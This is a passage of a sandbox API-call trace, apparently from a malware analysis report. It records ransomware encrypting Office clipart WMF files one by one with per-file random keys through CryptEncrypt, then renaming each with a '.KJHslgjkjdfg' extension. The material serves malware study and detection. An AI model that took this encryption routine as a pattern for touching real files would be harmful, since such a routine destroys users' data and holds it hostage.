lpOverlapped=0x0) returned 1 [0211.267] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.268] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.268] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.268] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.268] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.268] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.268] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.268] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2ea0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2ea0, lpOverlapped=0x0) returned 1 [0211.269] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2ea0, dwBufLen=0x2ea0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2ea0) returned 1 [0211.269] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.269] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2ea0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2ea0, lpOverlapped=0x0) returned 1 [0211.269] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.269] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2f74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.269] SetEndOfFile (hFile=0x130) returned 1 [0211.272] GetProcessHeap () returned 0x990000 [0211.272] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.272] GetProcessHeap () returned 0x990000 [0211.272] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.272] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00208_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00208_.wmf.kjhslgjkjdfg")) returned 1 [0211.274] CloseHandle (hObject=0x130) returned 1 [0211.274] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b20100, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b20100, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x4f72, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00212_.WMF", cAlternateFileName="")) returned 1 [0211.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00212_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.278] GetProcessHeap () returned 0x990000 [0211.278] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.278] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.278] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.278] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0211.280] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.280] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.280] GetProcessHeap () returned 0x990000 [0211.280] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.280] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.280] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.280] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.280] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.281] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.281] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.281] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.281] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.281] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.281] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.281] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.281] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4f72, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4f72, lpOverlapped=0x0) returned 1 [0211.282] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4f80, dwBufLen=0x4f80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4f80) returned 1 [0211.282] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.282] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4f80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4f80, lpOverlapped=0x0) returned 1 [0211.283] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.283] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.283] SetEndOfFile (hFile=0x130) returned 1 [0211.286] GetProcessHeap () returned 0x990000 [0211.286] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.286] GetProcessHeap () returned 0x990000 [0211.286] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.286] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00212_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00212_.wmf.kjhslgjkjdfg")) returned 1 [0211.288] CloseHandle (hObject=0x130) returned 1 [0211.288] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f74, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00221_.WMF", cAlternateFileName="")) returned 1 [0211.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00221_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.290] GetProcessHeap () returned 0x990000 [0211.290] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.290] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.290] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.290] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0211.300] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.300] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.300] GetProcessHeap () returned 0x990000 [0211.300] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.300] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.300] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.300] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.301] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.301] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.301] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.301] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.301] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.301] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.301] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.301] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.302] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1f74, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1f74, lpOverlapped=0x0) returned 1 [0211.316] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f80, dwBufLen=0x1f80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f80) returned 1 [0211.316] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.316] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1f80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1f80, lpOverlapped=0x0) returned 1 [0211.316] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.316] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.317] SetEndOfFile (hFile=0x130) returned 1 [0211.319] GetProcessHeap () returned 0x990000 [0211.320] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.320] GetProcessHeap () returned 0x990000 [0211.320] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.320] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00221_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00221_.wmf.kjhslgjkjdfg")) returned 1 [0211.322] CloseHandle (hObject=0x130) returned 1 [0211.322] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e5c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00222_.WMF", cAlternateFileName="")) returned 1 [0211.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.323] GetProcessHeap () returned 0x990000 [0211.323] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.323] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.324] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.324] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.333] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.333] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.333] GetProcessHeap () returned 0x990000 [0211.333] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.333] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.333] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.333] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.333] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.333] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.334] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.334] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.334] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.334] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.334] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.334] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.334] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1e5c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1e5c, lpOverlapped=0x0) returned 1 [0211.336] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1e60, dwBufLen=0x1e60 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1e60) returned 1 [0211.336] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.336] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1e60, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1e60, lpOverlapped=0x0) returned 1 [0211.336] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.336] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1f34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.336] SetEndOfFile (hFile=0x130) returned 1 [0211.339] GetProcessHeap () returned 0x990000 [0211.339] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.339] GetProcessHeap () returned 0x990000 [0211.339] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.339] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00222_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00222_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00222_.wmf.kjhslgjkjdfg")) returned 1 [0211.341] CloseHandle (hObject=0x130) returned 1 [0211.341] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3642, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00223_.WMF", cAlternateFileName="")) returned 1 [0211.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00223_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00223_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.344] GetProcessHeap () returned 0x990000 [0211.344] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.344] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.344] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.344] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0211.346] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.346] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.346] GetProcessHeap () returned 0x990000 [0211.346] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.346] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.346] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.346] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.346] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.346] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.347] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.347] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.347] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.347] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.347] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.347] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.347] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3642, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: 